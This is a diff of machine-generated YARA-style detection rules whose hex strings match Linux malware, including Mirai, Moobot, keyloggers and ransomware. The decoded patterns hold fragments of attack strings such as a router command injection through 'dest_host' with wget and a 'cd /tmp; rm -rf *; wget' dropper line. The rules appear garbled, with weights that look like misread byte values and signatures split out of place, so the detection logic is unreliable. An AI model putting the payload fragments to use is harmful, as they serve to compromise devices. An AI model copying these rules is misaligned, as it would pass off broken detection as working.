00 04 80 01 4c 41 6c 74 01 00 07 80 01 4e 75 6d 4c 6f 63 6b 00 00 8c 96 00 00 1c 00 1c 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e } //30064 - $a_42_35 = {73 68 65 4d 69 6e 65 72 2e 4e 41 31 00 14 00 0a 80 01 6b 34 73 70 72 65 61 64 65 72 02 00 0f 80 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 61 75 78 } //30837 - $a_79_37 = {2f 6b 65 72 6e 65 6c 2f 6d 6d 2f 74 72 61 6e 73 70 61 72 65 6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 04 00 0d 80 01 20 47 6f 20 62 75 69 6c 64 69 6e 66 3a 00 00 8c bb 00 00 0b 00 0b 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 41 00 04 00 20 00 77 35 71 36 68 65 33 } //12033 - $a_73_38 = {6d 63 6c 6b 69 75 34 74 6f 31 38 6e 70 61 76 6a 37 30 32 66 02 00 0c 00 4b 4c 51 56 50 57 41 56 4b 4d 4c 22 02 00 08 00 41 4f 46 4e 4b 4c 47 22 02 00 06 00 71 4d 44 4b 43 22 03 00 22 00 63 64 20 2f 74 6d 70 2f 3b 20 72 6d 20 2d 72 66 20 2a 3b 20 63 64 20 2f 74 6d 70 2f 3b 20 77 67 65 74 03 00 06 00 40 4d 56 4c 47 56 03 00 0a 00 2f 76 61 72 } //25188 - $a_66_39 = {61 03 00 0b 00 2f 74 6d 70 2f 74 6d 70 66 73 2f 00 00 8c c0 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4a 4a 00 05 00 45 02 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 } //21295 - $a_68_40 = {73 74 3d 60 90 02 09 77 67 65 74 90 00 05 00 13 00 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 05 00 16 02 47 45 54 20 2f 73 68 65 6c 6c 3f 63 64 90 02 02 2f 74 6d 70 90 00 05 00 1e 00 47 45 54 20 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 2f 69 6e 64 65 78 2f 5c 74 68 69 6e } //29811 - $a_00_42 = {07 00 0a 00 21 23 48 } //0 - $a_3a_43 = {6c 69 76 65 72 00 02 00 08 01 2e 64 65 63 46 75 6e 63 01 00 10 01 42 61 64 50 61 73 73 77 6f 72 64 43 6f 75 6e 74 01 00 11 01 47 65 74 50 69 76 6f 74 53 65 73 73 69 6f 6e 49 44 01 00 0a 01 47 65 74 50 69 76 6f 74 49 44 02 00 11 01 52 65 63 6f 6e } //21587 - $a_74_44 = {6e 74 65 72 76 61 6c 02 00 0b 01 47 65 74 54 75 6e 6e 65 6c 49 44 02 00 0c 01 47 65 74 45 6e 61 62 6c 65 50 54 59 01 00 0d 01 53 63 72 65 65 6e 73 68 6f 74 52 65 71 01 00 0d 01 53 65 74 73 6f 63 6b 6f 70 74 49 6e 74 02 00 0f 01 47 65 74 50 6f 6c 6c 49 6e 74 65 72 76 61 6c 00 00 8c c8 00 00 02 00 } //25966 - $a_00_45 = {21 23 } //2 !# - $a_52_46 = {4c 69 6e 75 78 2f 58 6b 65 79 6c 6f 67 67 65 72 2e 41 31 00 01 00 5a 03 48 83 7d d8 00 74 7a 48 8d 55 e8 48 8b 45 d8 41 b8 00 00 00 00 48 89 d1 ba 00 01 00 00 48 8d 35 90 01 04 48 89 c7 e8 90 01 04 89 45 e4 8b 45 e4 48 98 48 8d 15 90 01 04 c6 04 10 00 } //21320 - $a_00_47 = {75 33 48 8b 45 e8 48 89 c7 e8 90 01 04 48 89 45 f0 48 83 7d f0 00 74 15 90 00 01 00 43 03 48 89 d6 48 89 c7 e8 90 01 04 48 8d 85 90 01 04 48 89 c7 e8 90 01 04 48 89 85 28 ff ff ff 48 83 bd 28 ff ff ff 00 74 7b 48 8b 85 28 ff ff ff 0f b6 00 3c 0d 75 0c bf 0a 00 00 00 e8 90 01 04 eb 4d 90 00 00 00 8c cd 00 00 05 00 05 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 79 73 74 65 6d 49 6e 66 6f 44 69 73 63 6f 76 65 72 79 2e 41 00 01 00 0d 80 01 2f 70 72 6f 63 2f 63 70 75 69 6e 66 6f 01 00 18 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 76 65 72 73 69 6f 6e 01 00 1a 80 01 2f 70 72 6f 63 2f 73 79 73 2f 6b 65 72 6e 65 6c 2f 6f 73 72 65 6c 65 61 73 65 } //32131 - $a_80_48 = {2f 65 74 63 2f 6c 73 62 2d 72 65 6c 65 61 73 65 } ///etc/lsb-release 1 - $a_80_49 = {2f 65 74 63 2f 72 65 64 68 61 74 2d 72 65 6c 65 61 73 65 } ///etc/redhat-release 1 + $a_41_27 = {00 02 00 02 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 69 6e 50 65 61 73 2e 4d 52 37 00 02 00 13 80 01 2f 50 45 41 53 53 2d 6e 67 2f 50 45 41 53 53 2d 6e 67 2f 00 00 8c 4f 00 00 06 00 06 00 04 00 21 23 48 53 54 52 3a 52 55 53 54 00 05 00 0e 01 52 55 53 54 5f 4d 49 4e 5f 53 54 41 43 4b 05 00 0e 01 52 55 53 54 5f 42 41 43 4b 54 52 41 43 45 05 00 08 01 52 55 53 54 5f 4c 4f 47 01 00 07 01 } //0 + $a_73_28 = {63 2f 00 00 8c 51 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 70 70 41 50 49 44 69 72 65 63 74 6f 72 79 45 6e 75 6d 65 72 61 74 65 2e 41 00 01 00 1c 80 01 72 65 63 75 72 73 69 76 65 5f 64 69 72 65 63 74 6f 72 79 5f 69 74 65 72 61 74 6f 72 00 00 8c 5a 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 70 70 43 72 } //29231 + $a_6f_29 = {53 74 72 69 6e 67 73 2e 41 00 01 00 0d 80 01 65 6e 63 72 79 70 74 5f 62 6c 6f 63 6b 01 00 0b 80 01 65 6e 63 72 79 70 74 46 69 6c 65 01 00 0a 80 01 43 69 70 68 65 72 33 41 65 73 00 00 8c 60 00 00 09 00 09 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 43 00 05 00 20 00 77 35 71 36 68 65 33 64 62 72 73 67 6d } //28793 + $a_69_30 = {34 74 6f 31 38 6e 70 61 76 6a 37 30 32 66 02 00 08 00 2f 67 6d 2f 62 69 6e 2f 02 00 08 00 2f 7a 2f 7a 62 69 6e 2f 00 00 8c 64 00 00 09 00 09 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 6f 73 6d 69 63 53 74 72 69 6e 67 2e 41 00 06 00 0d 80 01 2e 63 6f 73 6d 69 63 73 74 72 69 6e 67 01 00 04 80 01 2f 74 6d 70 01 00 } //27747 + $a_2f_31 = {6f } //-32763 o + $a_00_32 = {04 } //25965 + $a_76_33 = {72 01 00 04 80 01 2f 65 74 63 01 00 04 80 01 2f 6f 70 74 00 00 8c 65 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c } //384 + $a_78_34 = {53 68 63 2e 47 65 6e 00 04 00 20 80 01 45 3a 20 6e 65 69 74 68 65 72 20 61 72 67 76 5b 30 5d 20 6e 6f 72 20 24 5f 20 77 6f 72 6b 73 2e 01 00 0b 80 01 25 73 25 73 25 73 3a 20 25 73 0a 01 00 06 80 01 3c 6e 75 6c 6c 3e 00 00 8c 71 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 00 01 00 0b 01 } //28265 + $a_65_35 = {72 6f 63 2e 73 6f 01 00 05 01 6b 6f 73 6b 65 01 00 13 01 2f 64 65 76 2f 73 68 6d 2f 2e 68 69 64 64 65 6e 70 69 64 01 00 10 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 66 64 2f 25 64 01 00 05 01 64 6c 73 79 6d 00 00 8c 79 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4e 49 4d 50 4c 41 4e 54 00 01 00 0c 01 40 } //26984 + $a_72_36 = {6f 75 74 70 75 74 01 00 08 01 40 74 61 73 6b 5f 69 64 01 00 0b 01 73 70 61 77 6e 52 65 73 75 6c 74 01 00 08 01 4b 69 6c 6c 44 61 74 65 01 00 0b 01 50 61 79 6c 6f 61 64 55 55 49 44 01 00 06 01 4a 69 74 74 65 72 01 00 0d 01 43 61 6c 6c 42 61 63 6b 48 6f 73 74 73 00 00 8c 7d 00 00 0b 00 0b 00 03 00 21 23 } //29557 + $a_3a_37 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 3a 78 73 76 72 05 00 09 00 54 65 61 6d 53 70 65 61 6b 01 00 } //19521 + $a_53_38 = {52 2d 41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 87 00 00 07 00 07 00 06 00 21 23 48 53 54 52 3a 4e 49 4d 00 01 00 13 01 40 76 61 6c 75 65 20 6f 75 74 20 6f 66 20 72 61 6e 67 65 01 00 13 01 } //38 + $a_65_39 = {2d 20 6f 72 20 75 6e 64 65 72 66 6c 6f 77 01 00 14 01 40 69 6e 64 65 78 20 6f 75 74 20 6f 66 20 62 6f 75 6e 64 73 01 00 11 01 40 64 69 76 69 73 69 6f 6e 20 62 79 20 7a 65 72 6f 05 00 09 01 66 61 74 61 6c 2e 6e 69 6d 05 00 08 01 73 79 73 46 61 74 61 6c 00 00 8c 8c 00 00 06 00 06 00 09 00 21 23 48 53 54 52 3a 54 48 41 4e 41 54 4f 53 00 01 00 08 01 70 6f } //28480 + $a_63_40 = {6e 01 00 08 01 67 65 74 70 72 69 76 73 01 00 08 01 75 6e 73 65 74 65 6e 76 01 00 07 01 6a 6f 62 6b 69 6c 6c 01 00 0b 01 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 53 73 68 53 70 61 77 6e 01 00 07 01 74 61 73 6b 5f 69 64 01 00 0b 01 70 61 79 6c 6f 61 64 76 61 72 73 01 00 0c 01 57 6f 72 6b 69 6e 67 68 6f 75 72 73 00 00 8c 95 00 00 08 00 08 00 } //29810 + $a_23_41 = {45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 02 00 17 80 01 } //8 + $a_6f_42 = {2f 62 75 73 2f 69 6e 70 75 74 2f 64 65 76 69 63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 00 04 80 01 4c 41 6c 74 01 00 07 80 01 4e 75 6d 4c 6f 63 6b 00 00 8c 96 00 00 1c 00 1c 00 04 00 21 23 } //28719 + $a_3a_43 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 42 61 73 68 65 4d 69 6e 65 72 2e 4e 41 31 00 14 00 0a 80 01 6b 34 73 70 72 65 61 64 65 72 02 00 0f 80 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 61 75 78 76 02 00 32 80 01 2f 73 79 } //19539 + $a_65_44 = {6e 65 6c 2f 6d 6d 2f 74 72 61 6e 73 70 61 72 65 6e 74 5f 68 75 67 65 70 61 67 65 2f 68 70 61 67 65 5f 70 6d 64 5f 73 69 7a 65 04 00 0d 80 01 20 47 6f 20 62 75 69 6c 64 69 6e 66 3a 00 00 8c bb 00 00 0b 00 0b 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 41 00 04 00 20 00 77 35 71 } //12147 + $a_33_45 = {62 72 73 67 6d 63 6c 6b 69 75 34 74 6f 31 38 6e 70 61 76 6a 37 30 32 66 02 00 0c 00 4b 4c 51 56 50 57 41 56 4b 4d 4c 22 02 00 08 00 41 4f 46 4e 4b 4c 47 22 02 00 06 00 71 4d 44 4b 43 22 03 00 22 00 63 64 20 2f 74 6d 70 2f 3b 20 72 6d 20 2d 72 66 20 2a 3b 20 63 64 20 2f 74 6d 70 2f 3b 20 77 67 65 74 03 } //26678 + $a_56_47 = {00 0a 00 2f 76 61 72 2f 53 6f 66 69 61 03 00 0b 00 2f 74 6d 70 2f 74 6d 70 66 73 2f 00 00 8c c0 00 00 0a 00 0a 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4a 4a 00 05 00 45 } //19542 + $a_65_48 = {50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 90 02 09 77 67 65 74 90 00 05 00 13 00 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 } //22530 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*2048+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_41_27 & 1)*0+(#a_65_28 & 1)*26975+(#a_6a_29 & 1)*29268+(#a_2e_30 & 1)*28265+(#a_01_32 & 1)*8192+(#a_76_33 & 1)*30778+(#a_2f_34 & 1)*30064+(#a_42_35 & 1)*30837+(#a_79_37 & 1)*12033+(#a_73_38 & 1)*25188+(#a_66_39 & 1)*21295+(#a_68_40 & 1)*29811+(#a_00_42 & 1)*0+(#a_3a_43 & 1)*21587+(#a_74_44 & 1)*25966+(#a_00_45 & 1)*2+(#a_52_46 & 1)*21320+(#a_00_47 & 1)*32131+(#a_80_48 & 1)*1+(#a_80_49 & 1)*1) >=20 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*2048+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_41_27 & 1)*0+(#a_73_28 & 1)*29231+(#a_6f_29 & 1)*28793+(#a_69_30 & 1)*27747+(#a_2f_31 & 1)*-32763+(#a_00_32 & 1)*25965+(#a_76_33 & 1)*384+(#a_78_34 & 1)*28265+(#a_65_35 & 1)*26984+(#a_72_36 & 1)*29557+(#a_3a_37 & 1)*19521+(#a_53_38 & 1)*38+(#a_65_39 & 1)*28480+(#a_63_40 & 1)*29810+(#a_23_41 & 1)*8+(#a_6f_42 & 1)*28719+(#a_3a_43 & 1)*19539+(#a_65_44 & 1)*12147+(#a_33_45 & 1)*26678+(#a_56_47 & 1)*19542+(#a_65_48 & 1)*22530) >=20 } -rule _InfrastructureShared_773{ +rule _InfrastructureShared_777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8566,7 +8630,7 @@ rule _InfrastructureShared_773{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_774{ +rule _InfrastructureShared_778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8576,7 +8640,7 @@ rule _InfrastructureShared_774{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_775{ +rule _InfrastructureShared_779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -8586,7 +8650,7 @@ rule _InfrastructureShared_775{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_776{ +rule _InfrastructureShared_780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8596,7 +8660,7 @@ rule _InfrastructureShared_776{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_777{ +rule _InfrastructureShared_781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8606,7 +8670,7 @@ rule _InfrastructureShared_777{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_778{ +rule _InfrastructureShared_782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8616,7 +8680,7 @@ rule _InfrastructureShared_778{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_779{ +rule _InfrastructureShared_783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8626,7 +8690,7 @@ rule _InfrastructureShared_779{ ((#a_48_0 & 1)*21027) >=1 } -rule _InfrastructureShared_780{ +rule _InfrastructureShared_784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8636,7 +8700,7 @@ rule _InfrastructureShared_780{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_781{ +rule _InfrastructureShared_785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8646,7 +8710,7 @@ rule _InfrastructureShared_781{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_782{ +rule _InfrastructureShared_786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8656,7 +8720,7 @@ rule _InfrastructureShared_782{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_783{ +rule _InfrastructureShared_787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8666,7 +8730,7 @@ rule _InfrastructureShared_783{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_784{ +rule _InfrastructureShared_788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8676,7 +8740,7 @@ rule _InfrastructureShared_784{ ((#a_67_0 & 1)*16675) >=1 } -rule _InfrastructureShared_785{ +rule _InfrastructureShared_789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8686,7 +8750,7 @@ rule _InfrastructureShared_785{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_786{ +rule _InfrastructureShared_790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8696,7 +8760,7 @@ rule _InfrastructureShared_786{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_787{ +rule _InfrastructureShared_791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8706,7 +8770,7 @@ rule _InfrastructureShared_787{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_788{ +rule _InfrastructureShared_792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8716,7 +8780,7 @@ rule _InfrastructureShared_788{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_789{ +rule _InfrastructureShared_793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8726,7 +8790,7 @@ rule _InfrastructureShared_789{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_790{ +rule _InfrastructureShared_794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8736,7 +8800,7 @@ rule _InfrastructureShared_790{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_791{ +rule _InfrastructureShared_795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8746,7 +8810,7 @@ rule _InfrastructureShared_791{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_792{ +rule _InfrastructureShared_796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8756,7 +8820,7 @@ rule _InfrastructureShared_792{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_793{ +rule _InfrastructureShared_797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8766,7 +8830,7 @@ rule _InfrastructureShared_793{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_794{ +rule _InfrastructureShared_798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8776,7 +8840,7 @@ rule _InfrastructureShared_794{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_795{ +rule _InfrastructureShared_799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8786,7 +8850,7 @@ rule _InfrastructureShared_795{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_796{ +rule _InfrastructureShared_800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8796,7 +8860,7 @@ rule _InfrastructureShared_796{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_797{ +rule _InfrastructureShared_801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8806,7 +8870,7 @@ rule _InfrastructureShared_797{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_798{ +rule _InfrastructureShared_802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8816,7 +8880,7 @@ rule _InfrastructureShared_798{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_799{ +rule _InfrastructureShared_803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8826,7 +8890,7 @@ rule _InfrastructureShared_799{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_800{ +rule _InfrastructureShared_804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8836,7 +8900,7 @@ rule _InfrastructureShared_800{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_801{ +rule _InfrastructureShared_805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8846,7 +8910,7 @@ rule _InfrastructureShared_801{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_802{ +rule _InfrastructureShared_806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8856,7 +8920,7 @@ rule _InfrastructureShared_802{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_803{ +rule _InfrastructureShared_807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8866,7 +8930,7 @@ rule _InfrastructureShared_803{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_804{ +rule _InfrastructureShared_808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8876,7 +8940,7 @@ rule _InfrastructureShared_804{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_805{ +rule _InfrastructureShared_809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8886,7 +8950,7 @@ rule _InfrastructureShared_805{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_806{ +rule _InfrastructureShared_810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8896,7 +8960,7 @@ rule _InfrastructureShared_806{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_807{ +rule _InfrastructureShared_811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8906,7 +8970,7 @@ rule _InfrastructureShared_807{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_808{ +rule _InfrastructureShared_812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8916,7 +8980,7 @@ rule _InfrastructureShared_808{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_809{ +rule _InfrastructureShared_813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8926,7 +8990,7 @@ rule _InfrastructureShared_809{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_810{ +rule _InfrastructureShared_814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8936,7 +9000,7 @@ rule _InfrastructureShared_810{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_811{ +rule _InfrastructureShared_815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8946,7 +9010,7 @@ rule _InfrastructureShared_811{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_812{ +rule _InfrastructureShared_816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8956,7 +9020,7 @@ rule _InfrastructureShared_812{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_813{ +rule _InfrastructureShared_817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8966,7 +9030,7 @@ rule _InfrastructureShared_813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_814{ +rule _InfrastructureShared_818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8976,7 +9040,7 @@ rule _InfrastructureShared_814{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_815{ +rule _InfrastructureShared_819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8986,7 +9050,7 @@ rule _InfrastructureShared_815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_816{ +rule _InfrastructureShared_820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -8996,7 +9060,7 @@ rule _InfrastructureShared_816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_817{ +rule _InfrastructureShared_821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9006,7 +9070,7 @@ rule _InfrastructureShared_817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_818{ +rule _InfrastructureShared_822{ meta: description = 